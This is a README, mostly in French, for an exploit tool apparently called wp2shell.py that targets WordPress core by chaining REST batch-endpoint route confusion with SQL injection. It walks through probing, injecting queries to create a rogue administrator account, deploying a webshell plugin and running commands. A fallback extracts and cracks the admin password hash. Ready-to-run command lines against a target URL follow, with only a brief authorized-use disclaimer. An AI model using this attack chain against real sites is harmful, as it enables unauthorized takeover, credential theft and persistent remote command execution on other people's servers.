
RCE sans authentification dans le noyau WordPress (CVE-2026-63030 + CVE-2026-60137)
Exploite la confusion de routage de l'API REST de WordPress (CVE-2026-63030) + l'injection SQL (CVE-2026-60137) dans l'endpoint batch pour obtenir une exécution de code à distance.
L'endpoint batch de l'API REST de WordPress (/batch/v1) n'isole pas correctement le routage des requêtes. En imbriquant des requêtes batch les unes dans les autres, un attaquant peut émettre des requêtes internes qui contournent les contrôles de permission normaux de WordPress. L'indicateur clé est le schéma d'erreur parse_path_failed + block_cannot_read dans la réponse — cela confirme que la confusion de routage est exploitable.
Lorsqu'une requête est mal routée via l'endpoint batch, le paramètre author_exclude dans GET /wp/v2/posts n'est pas correctement assaini. Cela permet une injection SQL via des requêtes empilées et des instructions UNION — le tout sans authentification.
Phase 1: Probe
─────────────
Check batch endpoint reachable (HTTP 207)
Verify route confusion via marker requests
Confirm SQL injection via timing/oracle
Phase 2: UNION → RCE (fast path)
─────────────────────────────
If UNION injection works:
1. Detect table prefix (blind or brute-force common ones)
2. CREATE ADMIN USER via stacked UNION INSERT queries
- Bcrypt hash generated via PHP on attacker machine
- Insert row into {prefix}_users + {prefix}_usermeta
- New user gets administrator capabilities
3. Login + Deploy webshell as WordPress plugin
4. Execute commands via ?t=TOKEN&c=id
Phase 3: Blind → Hash (fallback path)
─────────────────────────────────
If UNION is blocked but blind SQLi works:
1. Extract MySQL version, user, database name
2. Extract table prefix from information_schema
3. Extract admin hash from {prefix}_users WHERE id=1
4. Crack offline: hashcat -m 3200 hash.txt wordlist.txt
5. Use --user / --pass --cmd id with cracked password
Phase 4: Credential login
──────────────────────
If --user/--pass provided:
1. Login via wp-login.php or REST API Basic Auth
2. Upload webshell as plugin
3. Execute commands
# Auto mode — check, UNION, create admin, deploy webshell
python3 wp2shell.py https://target.com
# With known credentials (e.g., after cracking hash)
python3 wp2shell.py https://target.com --user admin --pass P@ssw0rd --cmd id
# UNION only (skip blind fallback)
python3 wp2shell.py https://target.com --union-only
# Blind extraction only (skip UNION attempt)
python3 wp2shell.py https://target.com --blind-only
# Debug via proxy
python3 wp2shell.py https://target.com --proxy http://127.0.0.1:8080
# Custom SLEEP duration for time-based blind (default 0.01s)
python3 wp2shell.py https://target.com --sleep 0.5
Cet outil est destiné uniquement aux tests de sécurité autorisés. Vous devez avoir l'autorisation explicite du propriétaire de la cible avant de l'utiliser. L'accès non autorisé à des systèmes informatiques est illégal.
| Option | Description |
|---|
--proxy | Proxy HTTP (ex. Burp Suite) |
--user | Nom d'utilisateur admin pour la connexion |
--pass | Mot de passe admin |
--cmd | Commande à exécuter sur la cible |
--union-only | Ignorer l'extraction aveugle |
--blind-only | Ignorer la tentative UNION |
--sleep | Secondes de SLEEP pour l'injection aveugle basée sur le temps |